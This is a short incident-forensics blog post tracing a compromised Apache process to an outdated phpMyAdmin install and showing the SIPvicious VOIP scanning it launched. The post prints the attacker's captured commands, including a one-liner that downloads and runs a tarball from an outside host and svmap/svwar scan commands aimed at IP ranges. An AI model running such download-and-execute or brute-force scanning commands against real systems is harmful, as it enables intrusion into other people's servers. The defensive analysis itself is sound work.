This was a fairly fun experiment. Tracking down the source of a shell script which was spawned by Apache. This shell script would start scanning for VOIP servers, and if they were found launch a brute force attack upon them, by using a dictionairy of predefined “users”.
This is what it looked like from the command line.
[root@server~]# ps faux |grep -i python -B 3 apache 5909 0.0 0.0 1716 284 ? S 21:00 0:00 \_ -bash apache 5910 0.0 0.0 2448 1028 ? S 21:00 0:00 \_ sh -c export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;rm -rf aloha.tar;wget http://www.dlaczego.org.pl/httpdocs/aloha.tar -q;tar -vxf aloha.tar;cd aloha;sh start;sh own apache 5923 0.0 0.0 2448 1052 ? S 21:00 0:00 \_ sh own apache 5924 0.0 0.3 11244 7076 ? S 21:00 0:02 \_ python svmap.py --randomize 193.*.*.* -- root 13508 0.0 0.1 8348 2056 pts/0 S 21:54 0:00 \_ su - root 13509 0.0 0.0 3748 1524 pts/0 S 21:54 0:00 \_ -bash root 13687 0.0 0.0 2436 876 pts/0 R+ 21:55 0:00 \_ ps faux root 13688 0.0 0.0 3000 644 pts/0 D+ 21:55 0:00 \_ grep -i python -B 3 apache 13683 3.6 0.2 9420 4940 ? R 21:55 0:00 python svwar.py -v -e100-9999 193.11.222.209
This clearly shows that the user “apache” could start a custom shell script, which caused a download and executed a well-chosen binary. The “aloha.tar” file actually contained the SIPvicious tools, used to audit VOIP systems.
It would extract itself into /tmp (where else?), and start scanning. This launches a lot of svmap.py and svwar.py python scripts, which do the actual VOIP scanning.
The parent process is the interesting one.
[root@server~]# cat /proc/5905/environ TERM=linuxOLDPWD=/var/www/vhosts/somedomain.net/httpdocs/phpMyAdminPATH=.PWD=/tmpLANG=CSHLVL=3_=./httpd [root@server~]#
That parent proces has a very useful piece of information in “environ”. It tells us that the script was once using the folder “/var/www/vhosts/somedomain.net/httpdocs/phpMyAdmin”, which was the presumable cause of this hack. Its current working dir is set to /tmp, and it tried to start a process called ./httpd.
The httpd binary in /tmp started something like this.
[root@server~]# cat /proc/5910/cmdline sh-cexport PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;rm -rf aloha.tar;wget http://www.dlaczego.org.pl/httpdocs/aloha.tar -q;tar -vxf aloha.tar;cd aloha;sh start;sh own [root@server ~]#
An outdated phpMyAdmin, in combination with an FTP account with (chrooted) shell access. A very simple option to choose in Plesk controlpanels, and one with potentionally dangerous consequences, if a software bug or application vulnerability can be exploited.